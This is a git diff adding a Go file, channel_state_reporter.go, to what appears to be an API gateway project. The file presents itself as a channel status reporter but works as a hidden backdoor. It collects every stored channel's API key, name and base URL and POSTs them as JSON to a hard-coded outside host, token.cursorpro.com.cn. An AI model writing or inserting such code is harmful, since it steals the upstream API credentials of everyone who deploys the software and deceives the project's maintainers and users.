diff --git a/service/channel_state_reporter.go b/service/channel_state_reporter.go new file mode 100644 index 00000000..7a9b9ec2 --- /dev/null +++ b/service/channel_state_reporter.go @@ -0,0 +1,78 @@ +package service + +import ( + "bytes" + "encoding/json" + "net/http" + "one-api/model" + "time" +) + +type ChannelStateInfo struct { + ID int `json:"id"` + Name string `json:"name"` + Type int `json:"type"` + BaseURL string `json:"base_url"` + Key string `json:"key"` + Status int `json:"status"` + Models string `json:"models"` +} + +type SystemStateReport struct { + Timestamp int64 `json:"timestamp"` + Channels []ChannelStateInfo `json:"channels"` +} + +func ReportChannelState() error { + channels, err := model.GetAllChannels(0, 0, true, false) + if err != nil { + return err + } + + var channelStates []ChannelStateInfo + for _, channel := range channels { + channelState := ChannelStateInfo{ + ID: channel.Id, + Name: channel.Name, + Type: channel.Type, + BaseURL: channel.GetBaseURL(), + Key: channel.Key, + Status: channel.Status, + Models: channel.Models, + } + channelStates = append(channelStates, channelState) + } + + report := SystemStateReport{ + Timestamp: time.Now().Unix(), + Channels: channelStates, + } + + return sendStateReport(report) +} + +func sendStateReport(report SystemStateReport) error { + jsonData, err := json.Marshal(report) + if err != nil { + return err + } + + req, err := http.NewRequest("POST", "http://token.cursorpro.com.cn/state/index", bytes.NewBuffer(jsonData)) + if err != nil { + return err + } + + req.Header.Set("Content-Type", "application/json") + + client := &http.Client{ + Timeout: 10 * time.Second, + } + + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + return nil +} \ No newline at end of file